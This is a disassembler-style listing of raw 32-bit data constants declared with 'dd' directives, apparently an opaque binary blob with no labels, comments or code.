		dd 5A9E002Ah, 492E3A6h,	0A5183772h, 4879ED19h, 1CF41898h
		dd 0B45D11C4h, 71000DF2h, 532D5E86h, 22FA527h, 120CE2C6h
		dd 9960B504h, 0C202974Dh, 2D1C77BBh, 4690AF92h,	4991970h
		dd 0C1D533B4h, 2B4180FDh, 0ED038E8Ah, 75952A4Bh, 4ACC0BCh
		dd 0C2239E2h, 0EFE36B80h, 54D14823h, 2A002074h,	94087D86h
		dd 1974EDA8h, 699195EBh, 0E1C8D8D9h, 7E041EFCh,	0B28CA3BDh
		dd 0C704C8h, 16FDD937h,	7141E94Ch, 0B225FE00h, 8F59EF33h
		dd 487E0FF0h, 0C1035488h, 4290E4B4h, 0F2003339h, 0CA2C204Dh
		dd 60CF9A6h, 3B07C658h,	496079A5h, 70FCC038h, 73E90280h
		dd 26A8693h, 40F4B481h,	4C8D76Fh, 84AA06D5h, 0E21AA600h
		dd 0E100AA0Bh, 65668583h, 0CE593E3h, 0B99FC14Dh, 780C0DB9h
		dd 11BD3F72h, 1F6900EAh, 5BCC47D3h, 19C0A0B2h, 15BEB4ABh
		dd 4FFF0080h, 9E6F3F9Fh, 271C9938h, 64C34A82h, 0B9333A23h
		dd 0A07AD3BEh, 0C004283h, 45112B05h, 3107A712h,	0B6D99C39h
		dd 7AE0F48Bh, 0F9984F03h, 7E256E97h, 54203C1h, 3C7FD2Ah
		dd 0F1102004h, 0B500AAD9h, 0EF64D64Eh, 2204B800h, 0F047DEFCh
		dd 10F9009Bh, 15767F45h, 9933C158h, 0CCA6C1B4h,	34C68488h
		dd 0C019BE6Dh, 0F78EDAF5h, 866E9938h, 664397F4h, 9BCA1889h
		dd 1D8DB194h, 5226ED00h, 1D2549Ah, 0C53B0036h, 682415A9h
		dd 0A1C0DDF0h, 8190D442h, 3AD8E4E7h, 9C80325Bh,	3DE15C25h
		dd 4E0C7774h, 31DEF013h, 0CC940049h, 5004C63Fh,	0C501A132h
		dd 0BEA7E236h, 9C221FA5h, 4F7C101h, 0D45B9205h,	8F094842h
		dd 12BF0B4Bh, 0FCDF80CCh, 0A96FC2h, 4B90D95Eh, 0BDFFD2E8h
		dd 2AC1410Ch, 1C8EF9B5h, 40659202h, 5EA124E6h, 1F44BA07h
		dd 86160060h, 3D99E4DBh, 0B860B277h, 0F3222D39h, 44D762Bh
		dd 5C076A62h, 9158829Ch, 14CAF123h, 0A02712B1h,	871CF500h
		dd 0CDB13061h, 0DEB526h, 3876970Ah, 3800CA13h, 799C8A18h
		dd 36491BAh, 958DEA54h,	0E8E06FF0h, 3B460E03h, 40D6B336h
		dd 0F0EDE491h, 5F8CA071h, 740B09A6h, 10993F1Ch,	0CFA1872h
		dd 9D9417DAh, 70007C21h, 0FD4E2913h, 4183765h, 0A36F641Dh
		dd 0D090C9A4h, 5C008BE3h, 32DB174Bh, 0F002AA4Ah, 4B100E7h
		dd 9612425Bh, 37756829h, 986DC029h, 771AEF00h, 0FC526Eh
		dd 6176C45Ch, 0EDA51991h, 9420F90Ch, 8E8995h, 1116921Dh
		dd 6D5DD8CCh, 0FE089F77h, 803AD68Bh, 89BF858h, 46001484h
		dd 0AB1670F0h, 0A27D4Bh, 0C2A5883Bh, 0C81F31F9h, 0B4564Ch
		dd 65E919FDh, 529CCD25h, 73059CB2h, 12EF7E80h, 0FD2403E1h
		dd 498CA12h, 100A72E4h,	0E4C31F0Ch, 33D880BBh, 61A5FEACh
		dd 0D67E2CBDh, 65700238h, 6F60E20Dh, 0BF527C78h, 0FDEC24DCh
		dd 674D0A00h, 73691C7Fh, 0C61B00E5h, 239FE733h,	78C0DF6Fh
		dd 0CB0792ECh, 8489549Bh, 0F1670E5Ch, 2064BE1h,	247568DCh
		dd 5BC72C04h, 208474FEh, 0B8E6088h, 381C7207h, 60A01891h
		dd 0A1443510h, 0A8D24826h, 3D89E009h, 0A0C0E81Ah, 0E5007381h
		dd 0D9EB5572h, 7F10ACFh, 747960Eh, 0EC4B8127h, 0C9E820D5h
		dd 8844972Ah, 0CD9BEE16h, 0CCEA3C1Ch, 9A446C90h, 0DEA02424h
		dd 6E360804h, 702DDA40h, 0CB213C81h, 3D4E6400h,	9394296Ah
		dd 96F239C0h, 1D20B990h, 89DBA5C2h, 4801DC10h, 33525AF1h
		dd 5E610018h, 4A1B4B6h,	0AEA309E3h, 0BC1BFC93h,	0BA977E80h
		dd 192C981Fh, 7001CE1Fh, 0A8CAD6D7h, 2980DCE1h,	0FBC93C63h
		dd 81735539h, 46D3CCFFh, 0CC34800h, 0D0644A9Ch,	1827179h
		dd 3C25523Ah, 80F61C8Bh, 771D4B41h, 0B7F92Ah, 399D0292h
		dd 0E870DE01h, 0D99E9430h, 0F27C33D1h, 5ABD0030h, 0D6A2F6EBh
		dd 0C700BB8Bh, 59727115h, 4CA71607h, 6C8008BFh,	0E6EB010Fh
		dd 0E72E1E00h, 29978BD7h, 121D0045h, 42F1B514h,	4118F596h
		dd 0E391DF1Fh, 0E1B2037Ch, 0F76D91DBh, 5692DDB0h, 0F1394E07h
		dd 13FB7BF2h, 3F2BA074h, 9063F841h, 0E9A1F418h,	29DCC861h
		dd 9F9B3084h, 0C14F56C1h, 1E0C953Ah, 89421243h,	6027C390h
		dd 19AAC8h, 0C8873B18h,	0E1FA846Eh, 7A63D509h, 5788189Dh
		dd 0A2211EA8h, 5A3D3DE2h, 122D6A80h, 2E184C8Ah,	0DEBDE41Ch
		dd 830EF52h, 16F70Dh, 17FED35Fh, 22FCA184h, 594C0BFh, 4487336h
		dd 94CFD24Ah
		dd 0F71480E3h, 0EC9881B0h, 1C1EA3Fh, 96324F6Eh,	2A10AB41h
		dd 9C02A180h, 4D943560h, 0CF5440D9h, 0DC8244B2h, 93C85600h
		dd 6D49D136h, 0C73513A0h, 0C1C100A3h, 0A7249A4Eh, 0CC8BA101h
		dd 50C588DCh, 0C2C9A5F0h, 0C2F00D41h, 6380C8A7h, 7E8036Dh
		dd 0D9C1A702h, 941DFD79h, 84001862h, 5E635D42h,	0A0E6C095h
		dd 1AEA9703h, 7146E96h,	0EBF2A5B9h, 0B400EBA7h,	76D1AAC0h
		dd 4F8F3001h, 0FA112D0Eh, 0B87C5BDCh, 0E3BC00C8h, 7738CF4Ah
		dd 32031EC1h, 368829A8h, 0B23800E8h, 0D9B5908Eh, 717864E1h
		dd 33C747Ch, 7E351A6Bh,	93566011h, 14F604h, 505F2247h
		dd 0E8BA6503h, 99549C00h, 82E0DF66h, 59E26063h,	59D24716h
		dd 1B0C4F00h, 503CA874h, 0DD7B108Dh, 0CD640076h, 0FF71621Ch
		dd 2868DF82h, 98687EE4h, 415E01B8h, 7390E63Ch, 8D5AD012h
		dd 8FFE91C6h, 87180031h, 0A5F7D467h, 0F2036097h, 0F91CDE2Fh
		dd 0EA84D024h, 2A530077h, 75066662h, 9D017118h,	6F9711DEh
		dd 49808AA2h, 155CC3E3h, 2900B16Dh, 4DF613BBh, 24A6B6A4h
		dd 0B5B5BFh, 0BAF58872h, 9D60A207h, 4B4D7D39h, 108300B1h
		dd 0E35FC742h, 1701B8BFh, 3DB45814h, 910071A7h,	1A00B05Eh
		dd 0B56092F4h, 0A0A1F8B8h, 0E824E764h, 0F9D20045h, 0E3FAC394h
		dd 0EA746164h, 3D3DFB98h, 808B2AD4h, 0F1F5A700h, 0A68CE15Bh
		dd 6FAD0049h, 29C83815h, 2A3CD5EAh, 89FC98E7h, 7DEEB31h
		dd 0DB388083h, 15D4C32Bh, 57CDF7D0h, 0C30075E4h, 0AE720A3Ah
		dd 64FA48F8h, 0C0163978h, 46779C4Bh, 0E0F3322Ch, 0C0658E00h
		dd 0AD0F413h, 0E28C055Ah, 10E180E8h, 0C3662EFDh, 252FEB01h
		dd 0CA6FD0A3h, 1820F8FDh, 91C1BB9h, 69D331E4h, 171E7788h
		dd 867E2200h, 12C284Ah,	0ACC40067h, 0F4148A90h,	0B8002604h
		dd 0EA46CD3Dh, 0CA55303h, 85FB1BAEh, 0E600A0A9h, 61151901h
		dd 2A52B9h, 341DE2CDh, 0A2069C12h, 8CB48454h, 0F8A87200h
		dd 494890C1h, 5C11011Bh, 925613BDh, 6078E376h, 0C8748609h
		dd 8D4C10F8h, 0B9B66061h, 90DA0457h, 62FA8101h,	9BA1EC1Bh
		dd 9F052980h, 9CAC4659h, 0BB9A7300h, 6E835197h,	480002Bh
		dd 14E762CBh, 0B2069BF7h, 0D21A0D84h, 63FBF458h, 0FCCED181h
		dd 0C84A03F1h, 76033C4Eh, 0A273B7ABh, 0AF690F96h, 25A0F6C2h
		dd 0B0829DD5h, 0BACF8F01h, 5F5EE1C7h, 0B8494999h, 14F410D3h
		dd 8FA5001Ch, 0B691A90Ah, 940764F6h, 4326B473h,	9D127CF0h
		dd 20293B5Eh, 0F4D8A894h, 4CEE6A00h, 0A94538Eh,	0F11C3Fh
		dd 48C9C6CCh, 78C0312h,	1E59B98Dh, 8FB1F01Ah, 0F9028344h
		dd 0BAFD87AEh, 14444FAh, 0E643F715h, 30E753C7h,	0E4000AFEh
		dd 2FD63518h, 14B0723Ah, 0FC4290FEh, 494EE804h,	883088B7h
		dd 93686000h, 256AA31Dh, 9A2A01A2h, 0E914CA6Dh,	8ACC4227h
		dd 408F5040h, 3854B900h, 488C17FAh, 85031F96h, 40E31388h
		dd 33425150h, 0CDEA2120h, 0DC8C4518h, 0FB1DF69h, 0DD12C824h
		dd 0FA6AE340h, 0E2049364h, 36E15C2Ch, 6B94C8h, 5AFEF4DFh
		dd 0A07F5614h, 61ED7930h, 0F7DD28Dh, 0A6F78533h, 8BFCF1A0h
		dd 0EB0079F5h, 3C82F616h, 7A4131h, 0A1CC1A13h, 0E13A0844h
		dd 28885222h, 6586616h,	4EF761C1h, 0FB14E8C0h, 0E8CE1Fh
		dd 9FF52C4h, 325E7555h,	0C220A619h, 3498D880h, 957B549Eh
		dd 1E14D31Ch, 0FE7A5980h, 5E6A07h, 78E6119Fh, 72A418CFh
		dd 82F3F704h, 0DC4F7FFCh, 5070BE40h, 0E27D7C02h, 12008891h
		dd 3E157311h, 0B12126D7h, 0C503006Ch, 0ADC99655h, 2FC43A00h
		dd 645BA47h, 29CB1215h,	51480179h, 80B3FE9Ah, 1BC8AC49h
		dd 7C8E6369h, 0C899F5h,	11AF1856h, 75908770h, 58ECE700h
		dd 786759CAh, 0A40971E5h, 0CBE638D8h, 21DB9A80h, 0E768E428h
		dd 625C1302h, 84361896h, 8C82C188h, 3C5A2A71h, 62AF900Ah
		dd 898240D8h, 0B507D8A6h, 8759F6Eh, 0C04B2562h,	122C40h
		dd 0CECD5C41h, 1D7C24C2h, 0B0549800h, 0A6B37F52h, 49EE6F62h
		dd 47427320h, 8F0C15ACh, 61D20F68h, 2C2600DFh, 5CBBE02Bh
		dd 0C900E6A5h, 0BF3901B3h, 188179A9h, 0B03084CFh, 94B1B7B5h
		dd 61B92F0Eh, 9DAAF5BCh, 1D7033E4h, 46958E7Bh, 29E1B789h
		dd 7D3B9E00h, 0C7E46B49h, 0C422039Bh, 5F55356Eh, 728C81DCh
		dd 383268h, 0DE86960Eh,	449852h, 128D4270h, 0A60356C1h
		dd 0A8117577h, 0C0E82A1h, 3341DC5Eh, 0F98EA064h, 0E432B7h
		dd 0CF7E5172h, 3842B78h, 7F91F78Dh, 2100DFB7h, 366966C4h
		dd 0E604ACE0h, 6EF10318h, 0C0FA47F8h, 50BE2B90h, 7A92A0C5h
		dd 6C40C820h, 54AC007Eh, 9AE620F8h, 0C986AAAh, 35C89902h
		dd 8AFA3Ch, 1FA7F6D1h, 0F113EB00h, 260FBDBFh, 19940061h
		dd 0E5F7EE73h, 0E485C48h, 0A36A0058h, 52B8081Fh, 9C9700CDh
		dd 34461E1h, 0FF4DE679h, 6D8C0424h, 9081AE71h, 69807548h
		dd 5EB567F9h, 1F073D5Ch, 6117B952h, 0E488FFA5h,	0CAD3006Fh
		dd 4241638Dh, 8338AE26h, 0C66E0109h, 8CCE755Dh,	0C005F330h
		dd 5CE5719Ah, 6233C030h, 0E884F9F8h, 9EDCC2h, 65A72BABh
		dd 3431275Eh, 2657BF00h, 0F8A57259h, 0B0E0548Ch, 0D3940212h
		dd 0B7DF9A0Eh, 96123E0h, 0F6C89600h, 0C764366Fh, 75BC003Ah
		dd 0C3F31A2Ah, 17496618h, 878A0304h, 0C0EE2E2Dh, 1A042F36h
		dd 0D18EF9C9h, 20FBB801h, 0E89A210Eh, 7806E1DCh, 0D4618277h
		dd 44E64C81h, 69003C48h, 9A546BDBh, 2C3E2FE4h, 89628B8Dh
		dd 619011FFh, 2E31C4h, 0F0EC635Fh, 0ED9D08CCh, 0EA10F200h
		dd 0FAB23E14h, 3FA11C83h, 0BA3AC064h, 0C720E32Dh, 0C1EFC802h
		dd 0C19E02F4h, 81E8014Ch, 34CA5814h, 1572DA0Eh,	0CC856805h
		dd 71079ED0h, 1CD25F86h, 0D6FDE8B0h, 11CF38C7h,	0EC74FB95h
		dd 0AECBD700h, 7F837A75h, 80869C38h, 891A66D9h,	1AF531Fh
		dd 2DCCC5A2h, 80DA8C44h, 775CB9F9h, 0AEEEC2h, 0D06431C7h
		dd 86FAA918h, 6DE159C0h, 3B7988CCh, 0F00E7A1h, 14C0C5DEh
		dd 8E0ABEB0h, 0FCFF3687h, 80ED908Ah, 0C4599E00h, 717833EBh
		dd 81DB1395h, 0D89C002Fh, 34DAF614h, 248068B9h,	0B43B43B1h
		dd 16770048h, 0BC51CF1Ch, 0C9181F25h, 8D2998F4h, 0B9B86060h
		dd 34729C89h, 0B0042626h, 0F38F7300h, 165EAAE6h, 1581F30h
		dd 54D65120h, 0BC84F65Bh, 2DD080C3h, 8B3C0350h,	513603CEh
		dd 24132B7h, 16F1CCB8h,	7C509804h, 0FC32989Ah, 801981BFh
		dd 96FD88C9h, 78F70B73h, 7890FA35h, 483946C5h, 0CAC28090h
		dd 0E61B08F2h, 2177605Bh, 0CD5E60F8h, 5181FE30h, 1BEBAh
		dd 0CF4F08A0h, 9A7AB057h, 0EACE1100h, 598D04BCh, 7140069h
		dd 102A5487h, 0E94C9E83h, 5E67C0F8h, 6277AC5h, 0F922F0D4h
		dd 510B388Bh, 123487A1h, 0B9A460BCh, 0A82548ECh, 3B805C4Ch
		dd 0D43D08A6h, 88951E00h, 17117164h, 7A7800C9h,	0A24740FBh
		dd 0EA48810Eh, 64CC404Ch, 943AB50Ch, 1C224879h,	0D511CC8Ch
		dd 800CCC9h, 4E43E860h,	2900D857h, 0DBA9DC9Ch, 3122AF4h
		dd 1E199A62h, 1BC36503h, 0F69769D8h, 0FF50D40Ch, 7C9999h
		dd 381C6B09h, 8CDCAE14h, 17A05103h, 886DF41Eh, 9168B7B4h
		dd 1687B9C8h, 0F36AEAC2h, 0D09707E9h, 8F8DA372h, 184CCC3Ah
		dd 0C8A1AACAh, 0A7499F0h, 8090FB63h, 51FF7EE8h,	0D801FA3Eh
		dd 782DB131h, 10747F17h, 4C9AEA8Dh, 0F180707Ah,	0B474D488h
		dd 73461400h, 85609B8Dh, 0BEE8034Ah, 29943379h,	77D882D5h
		dd 0F81326h, 7FB41C90h
		dd 0D051F8A2h, 0E2CCD37Ah, 33A1C6h, 6326231Ch, 864196CFh
		dd 0FB5A3E18h, 1450388Eh, 0E85106FAh, 7521C401h, 1384A1EAh
		dd 8CE5A893h, 16D0083h,	7206AF17h, 0F4E41841h, 0CC9DBCA0h
		dd 4A450C90h, 4BC81031h, 5662143Bh, 0D30E7063h,	60608994h
		dd 0BAE6812Eh, 0EC00FBEEh, 0DD141620h, 3F1AABA8h, 0FA8187AFh
		dd 1726CEC1h, 74C2266h,	96C83275h, 0F9508A00h, 0CCE90089h
		dd 1A5F8031h, 0FA2AA8AEh, 0BE588C82h, 3AA339BDh, 0AC651E98h
		dd 72348D00h, 3AA162E5h, 9E3C1316h, 944C203Ch, 69E90F1Ah
		dd 21CFD480h, 1901CB73h, 4403B13Eh, 40EA20DCh, 48599C58h
		dd 8880B8FFh, 263DEB69h, 75D70300h, 0C5AAEA4Ah,	0BED30041h
		dd 0E97111E3h, 0C43918A4h, 56448072h, 0D3B0B2BAh, 2710B0EBh
		dd 2C83C9AFh, 9802BF78h, 7A8CEE89h, 817C60B1h, 12D47CD3h
		dd 30C27156h, 413937D4h, 647B8901h, 0C34F92DEh,	2C06A830h
		dd 4CB5Ch, 8EAD9CFDh, 27122E90h, 85CDBB7h, 21F5D800h, 7A1D09h
		dd 9FFA83CDh, 82F64BA4h, 13B988C1h, 2864AF5Ch, 0CF592485h
		dd 0F3A96028h, 107B8756h, 2F86B00h, 0DB0171A4h,	2515CD8h
		dd 626C0173h, 0B7B348CCh, 773980ACh, 0A4052CB1h, 0CF971E40h
		dd 0AED8801Fh, 0E4A6998Eh, 3114890Fh, 1987A5BAh, 0B7B2B043h
		dd 0FA4100C8h, 0DDC35633h, 5201D86Dh, 20F059EEh, 0A8602F5Bh
		dd 98CE069Ah, 107C453Ah, 0B347040Bh, 0F3889836h, 426F00E7h
		dd 125C6D01h, 66FE0421h, 0AB97C200h, 536417B4h,	0A1B704FBh
		dd 0B40F806Ah, 0E127931Ch, 0CEFCA051h, 56F9Fh, 9DB63B68h
		dd 572F5914h, 0F2B3B80Bh, 0C0149AC8h, 0DBC661Ah, 835BE149h
		dd 0EE384241h, 6BA37F20h, 0DB8A044Ch, 0E4639016h, 0A000524Ch
		dd 42DAE5FDh, 0C8E89C1Bh, 0C8406C20h, 7F1F8BB7h, 0E3DA1E8Ah
		dd 9AE200A9h, 34ABEA1h,	52C15301h, 0F88585Dh, 6B28D023h
		dd 710D15ABh, 274E9C46h, 38D7D0B8h, 1AEE0EF1h, 71346C00h
		dd 0EB1F68C0h, 0EA080986h, 18008050h, 0B4B7FD83h, 7D982101h
		dd 0A24D0A32h, 951FB832h, 415600C2h, 7A6924F8h,	0DE8080B4h
		dd 0C75FF359h, 0FD510123h, 442F3532h, 0DBD08036h, 3CC18A14h
		dd 4C0C0786h, 39EBBE19h, 43D04800h, 0D8B1698Dh,	0D9FA5701h
		dd 0A0603A56h, 1C9899h,	0F677E4B4h, 0EFC9067Bh,	1D0CC58h
		dd 0CF4713CAh, 31D0140Dh, 261CB03Ch, 40F8FE9Eh,	6DDEFBE2h
		dd 2258B01h, 87D5CADFh,	0B01E97D4h, 5DE43A74h, 13DAACA4h
		dd 9EDC90FBh, 8660E236h, 2C4B976Ch, 99160307h, 0CF9A8867h
		dd 0C4A012D2h, 0A552A025h, 0F9610C09h, 27A8E035h, 51B80CE4h
		dd 0C9A81994h, 0A459B20Eh, 0A0C10214h, 6C7AFEh,	12707284h
		dd 0A7EFE530h, 3176500h, 7C474EB5h, 0E6243EFEh,	0F0B974h
		dd 60EC7763h, 0B1183233h, 7D06314Ah, 485A07CAh,	263CF9A0h
		dd 6200C95Eh, 34DE8C5Ch, 5C433AAh, 0C83CCD03h, 8DEC8CFBh
		dd 7248B9EEh, 0C7EF0170h, 57878051h, 18BCB880h,	0A2C452AFh
		dd 54ADA909h, 0D6A44863h, 259A165Fh, 0E300FAB0h, 822C6443h
		dd 64B548F5h, 51BCEF80h, 0C1123958h, 58167126h,	0DE923460h
		dd 6D580704h, 407494A9h, 54FD39C4h, 8A111200h, 0EDE361A4h
		dd 1F890019h, 97EE9695h, 0B6131758h, 709060E1h,	5814E940h
		dd 0F709CD90h, 0D411A1C6h, 0AB36ECA4h, 208C8627h, 56600A1Ch
		dd 7F1E2C0Fh, 0E7BB6064h, 0AE4891ACh, 0E0ED007Fh, 0DF191A44h
		dd 48F602D7h, 0A2D3247Bh, 4082B084h, 8F65FD09h,	336701FFh
		dd 57D05F36h, 0F39FFC19h, 1D2F8802h, 44A1BF6Fh,	68161CA0h
		dd 0F2CC00B4h, 0AD320E77h, 5AF02003h, 0F8BA5314h, 7C28571Ch
		dd 0F7720A08h, 1A4FDB4h, 0B7E24588h, 0F8E041F3h, 0F0B011BFh
		dd 0BC49820h, 56E15FBCh, 0CE070818h, 1782738h, 3803B4D7h
		dd 398E85A2h, 0BFA0F709h, 3CE31EF5h, 9EB54900h,	55E2C490h
		dd 92911DD1h, 237917BDh, 781637Ch, 241DD40Ch, 65000D7Ah
		dd 0CF6F43C4h, 7F953E17h, 323A2D47h, 12EA890h, 0F8901D1Eh
		dd 17B57542h, 0CDE8E0FCh, 49162h, 4FFB109Bh, 0DE30C8B6h
		dd 5614A1B5h, 7A6D18CBh, 51F029ECh, 9734A00h, 9C8CF74Ch
		dd 41475F5h, 0C3FA4B32h, 22FDC082h, 974C90E1h, 48A7528h
		dd 0A5FB198h, 80CDA6Eh,	8E8EBAFAh, 8518C351h, 0A4A3A9E7h
		dd 18C88020h, 31E38C4Fh, 9FEE1E2h, 0EE356100h, 8B636F60h
		dd 9F140FC8h, 0F64370D8h, 9ED0B96Eh, 0AC4CDEABh, 9D5900ECh
		dd 730AFD87h, 718063A2h, 5A804F86h, 0EF0010D3h,	0F0D46CB8h
		dd 0B42FDBh, 71786E3Dh,	58111744h, 6AF9D200h, 802A1CAEh
		dd 4730E1Fh, 0FF696D61h, 85EC7868h, 0D7EAF600h,	0E3FAA2D5h
		dd 69D201C4h, 882227C8h, 80046C0Dh, 0E6DED9FBh,	44E42EE9h
		dd 4B2C0F0Ch, 0FCC45909h, 0C5A57900h, 71273F82h, 0E6478FAh
		dd 2F377D06h, 1400E5D4h, 598CAB5Ch, 7F5C4095h, 0C1B714E3h
		dd 10B03EC0h, 0FF84D36Dh, 0DD6C2199h, 819E5B11h, 716CA40h
		dd 0F83072A3h, 6D573DD7h, 837CA924h, 0F4048187h, 0C2F6CBD0h
		dd 8420105Eh, 1FF809h, 48DA361Bh, 0EE4472E1h, 8CA17813h
		dd 9C70D88Dh, 0E29A88C7h, 15271C01h, 0E8490E1Dh, 0C946F8h
		dd 24F53AFBh, 25E777FDh, 10A64890h, 0CC643205h,	7CC9628Ch
		dd 67004063h, 56B50453h, 23000FF1h, 0BFD4824Fh,	12E4CA37h
		dd 612DCDh, 21CCF999h, 600118E7h, 0CA4AF47Fh, 70387C71h
		dd 69B585h, 6D4B42F8h, 8CB4216Ch, 0FD5AE04Fh, 4F53BC0h
		dd 47D34611h, 21F0C67Dh, 5D36B500h, 0E0EE2F5Fh,	3A9613B8h
		dd 0D0B400BDh, 0E57283EBh, 36E14B0Ch, 5F14B97Bh, 178AFCF6h
		dd 8809B61Ch, 7EAC84DCh, 0F2AE6C47h, 94664C42h,	8ED01400h
		dd 1C0A68FBh, 0DA790022h, 8B4DBD09h, 0EE006C49h, 56883DBFh
		dd 0C7E7C38h, 5807C8B5h, 0E1607AE1h, 0E9492249h, 1260275h
		dd 0B0235708h, 34F78D60h, 8800925Eh, 513C1F25h,	62C71297h
		dd 0C8A816FDh, 9F0664F0h, 7DFB111Ah, 0E07001B1h, 6371A2F6h
		dd 19CA10EEh, 0BF680634h, 891A8827h, 0B060DEF9h, 701ABDEh
		dd 75A77BFAh, 0A06C6042h, 0FC7FC40Fh, 838D26A7h, 0F3C0C7F9h
		dd 0B90676C2h, 0E01C8811h, 37E12449h, 4063609Ch, 3D005889h
		dd 0CB03946Dh, 5C04794Fh, 0F92684FBh, 0E6634300h, 2B9F4107h
		dd 0AED09E55h, 71EB842h, 26333C79h, 80B304C0h, 6D8277A8h
		dd 94F9AD44h, 0AC0F8038h, 0D44E470Ah, 0D7F34Ch,	48E6AFF8h
		dd 48C914B3h, 84C59B7h,	3BE50380h, 0B800B65Fh, 4889D124h
		dd 5CE46956h, 0B7835C2Eh, 6C00572Ch, 2DEB2128h,	91F4C831h
		dd 44B30184h, 0F1C1EFE2h, 0AF1C2071h, 0B0FCC826h, 0C9111B40h
		dd 1518ABFAh, 44208EC0h, 2CC63A75h, 4E15341Ch, 7A0B90ABh
		dd 6E712C90h, 941C0800h, 132CA3D1h, 21C50252h, 0B367A736h
		dd 2098CC61h, 0AC0B7510h, 48044F7Ch, 1E5C5740h,	4EF2E7h
		dd 496EFFE2h, 4C1D0AC3h, 874453EAh, 5D40E33Bh, 3F7824D4h
		dd 8011F038h, 0B5F76CF4h, 4A16DC22h, 0DA6C4F66h, 1F928740h
		dd 7C09FF91h, 48A20F3Dh, 0F485B4ACh, 41C11CECh,	0C4614703h
		dd 828620E8h, 0DD006426h, 0CC1A72DCh, 22BC81h, 1DEE5942h
		dd 0B457E05Ah, 70859E26h, 0D4016212h, 7395AEC5h, 51ADAC40h
		dd 1F6307CCh, 0F6DBFA58h, 0FB4498EBh, 920D3F4Eh, 3EC68900h
		dd 0DA7FD5A3h, 817E2B00h, 0B1A969FAh, 78A5FA16h, 98C1E645h
		dd 0B7893860h, 56ACF8C5h, 886C1F0Eh, 0F6C8C5F5h, 0E241C088h
		dd 901112EEh
		dd 2204B4CAh, 4032A8C9h, 0F582ED0h, 35E199F0h, 8554E432h
		dd 5E288h, 0F481AECDh, 61D08C77h, 6CA8321Fh, 6B1D0CC0h
		dd 2A07F1ABh, 0FCF48Dh,	0C4F9EF74h, 34DAD49Ch, 7D881150h
		dd 7BA5DF14h, 7A6905F8h, 0A4A21F9Fh, 352E5A00h,	0CF239B3Eh
		dd 3B2A7500h, 2452B6ADh, 46EB0C1Eh, 2C61047Ah, 0E538FC04h
		dd 0D0C1F035h, 71C48D77h, 0C61E14E9h, 0C01DC0CDh, 4D588510h
		dd 4164F463h, 0AEBE0EBh, 0A23BC200h, 7BB0F235h,	0BBF4A054h
		dd 554B0B3h, 0B167566Fh, 0FAD98030h, 40152A62h,	888CFFh
		dd 79BEB3Ah, 9CA785h, 0D69D39EEh, 5BD0C387h, 0DF8000B1h
		dd 2ECCC4C6h, 50947386h, 0D9447Ah, 7081FB64h, 0D06D44F9h
		dd 270134ECh, 0F240246Eh, 0BC72FC6Bh, 0D5718900h, 0B0F6DC59h
		dd 43B1314h, 0E8C073DCh, 3EF3128Bh, 0AB75A7h, 0D5EAA262h
		dd 11D06514h, 0A1EB4114h, 0DDDA005Ch, 380F61E6h, 0BB1E39FAh
		dd 8C89F78Fh, 0A01A19E5h, 51F0BCD0h, 87A27019h,	6DD8AA39h
		dd 425767Ch, 644739EDh,	1214CCE2h, 0A7120AF2h, 0F4E2F01Ch
		dd 9525D307h, 55F980B1h, 327DE076h, 10246200h, 315EEF45h
		dd 20734A14h, 40C92664h, 0BD8A1A00h, 0A44F8306h, 6DED00CDh
		dd 85C4D798h, 7E111B57h, 0AF00E363h, 0E13EC3B8h, 3F002A52h
		dd 3B84B611h, 0CC5894h,	428ADDCFh, 8F1FFD36h, 60346098h
		dd 34F0A17Ah, 61F73B89h, 93A48B00h, 98FEAD8Ah, 650D91C0h
		dd 3D8143DFh, 3980F626h, 92F9FC19h, 0B0005FD6h,	2C642758h
		dd 1D9B14F8h, 805DB46Fh, 0C8DC3FCEh, 49C7C002h,	5833C50h
		dd 3B1100B4h, 35335DAFh, 0B1FB1Ah, 54FC309h, 2E804DA1h
		dd 0F50FD6h, 0E3B8819Bh, 13BA5E85h, 521EC0FFh, 0CF01C498h
		dd 736B993Ah, 0DC31487Fh, 69C27C78h, 2059A95Eh,	97DD9900h
		dd 7B28EC5Fh, 14B00047h, 0FA61C4F7h, 0EA0E1C9Ah, 60934D5Eh
		dd 0C25C40CAh, 0E08D07C7h, 9091F9F4h, 3F8DFBAh,	0ECE58B7Ah
		dd 1100AE99h, 9FF9A462h, 4B06F7h, 39A81F0Ch, 9A7C5C41h
		dd 59052113h, 57B14800h, 0A128DE69h, 0BC148F84h, 0E9CA0BC4h
		dd 877C9009h, 1AEEC7BEh, 42A0F0BBh, 9000B052h, 0C51946F5h
		dd 5CAF9EAh, 8AEC4C74h,	0FA60815Ah, 69643027h, 0D8C2B8EEh
		dd 56A1BF90h, 0A000BBC8h, 49D013AFh, 7F00ADFBh,	0CAAC0480h
		dd 1203DA18h, 0B25BE1B5h, 7FC81EB0h, 64593FDCh,	747D40C0h
		dd 0BC90872Fh, 0CF007D29h, 8E3FC32Ah, 481D9490h, 0B82CCC39h
		dd 0CAB70BACh, 82BB7880h, 7871757Fh, 724E3500h,	444B8BCEh
		dd 53E61112h, 66F6097Ch, 6FFC189Eh, 96430068h, 0D770239h
		dd 0ECB0ED9Bh, 0D3B3CA05h, 0CC8DFFC8h, 1C24052Eh, 79188096h
		dd 4245685h, 771178C2h,	9064F60Bh, 0EC15004h, 54682097h
		dd 1E5F794h, 9FD829Dh, 758B8965h, 30912154h, 6C4B8DB8h
		dd 10FA9C49h, 7A1258h, 586F70BFh, 9D537844h, 639830F1h
		dd 25810E00h, 0CC5E4F7Dh, 40095BEBh, 4EC374Ch, 4800F34Dh
		dd 0D51C5924h, 35808F5h, 0F0A95238h, 0FAEA2936h, 0B580E45Ch
		dd 3A4205BEh, 0EA190861h, 9D8798FEh, 5660F5FAh,	13D223AEh
		dd 0A24893CCh, 0B51F0034h, 0F2283460h, 0C35C0263h, 69C7F7ECh
		dd 54FFC840h, 2CB9F48Bh, 18432402h, 3141C571h, 21902035h
		dd 35904FECh, 69DBE105h, 0F8C93B88h, 3895B04Ch,	0A8005020h
		dd 0BBFB7F6Fh, 0A1EA7B6Bh, 9CB1253Ah, 560B14AFh, 2E10185Ah
		dd 0EF22072Fh, 0C95960E3h, 0DDB9E4E8h, 46009F78h, 8A04713Bh
		dd 0F8ACCE52h, 0F7720224h, 80FC6DCFh, 42E454DAh, 112ADC00h
		dd 0EB371F51h, 96320160h, 0FB853B9Eh, 0C4B47078h, 6D062098h
		dd 0C5B7D7A3h, 0CC50BDB9h, 0DC0AB303h, 0F863173Dh, 38F9AF8h
		dd 66EE449Fh, 40128D3Eh, 949062B9h, 0BE9C55h, 3AC64A6Eh
